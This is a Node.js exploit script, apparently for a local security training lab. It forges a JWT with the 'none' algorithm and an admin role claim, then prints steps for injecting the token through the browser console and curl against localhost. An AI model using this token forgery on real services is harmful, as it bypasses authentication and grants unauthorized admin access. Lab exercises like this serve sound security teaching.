exploit-lab1.js

// This script demonstrates the JWT 'none' algorithm vulnerability exploit
const base64url = require('base64url');  // You might need to: npm install base64url

function createMaliciousToken() {
    // Create a header with 'none' algorithm
    const header = {
        "alg": "none",
        "typ": "JWT"
    };

    // Create a payload claiming admin privileges
    const payload = {
        "username": "admin",
        "role": "admin",
        "lab": "lab1"
    };

    // Convert to base64url
    const headerB64 = base64url.encode(JSON.stringify(header));
    const payloadB64 = base64url.encode(JSON.stringify(payload));

    // Create token with empty signature
    const token = `${headerB64}.${payloadB64}.`;

    console.log('\n=== Lab 1: None Algorithm Exploit ===');
    console.log('\nMalicious Token:');
    console.log(token);
    
    console.log('\nHow to use:');
    console.log('1. In your browser console at http://localhost:3001/login/lab1, run:');
    console.log(`   localStorage.setItem('token', '${token}');`);
    console.log('   fetchProfile();');
    
    console.log('\nOr using curl:');
    console.log(`curl -H "Authorization: Bearer ${token}" http://localhost:3001/api/profile/lab1`);
}

// Run the exploit
createMaliciousToken();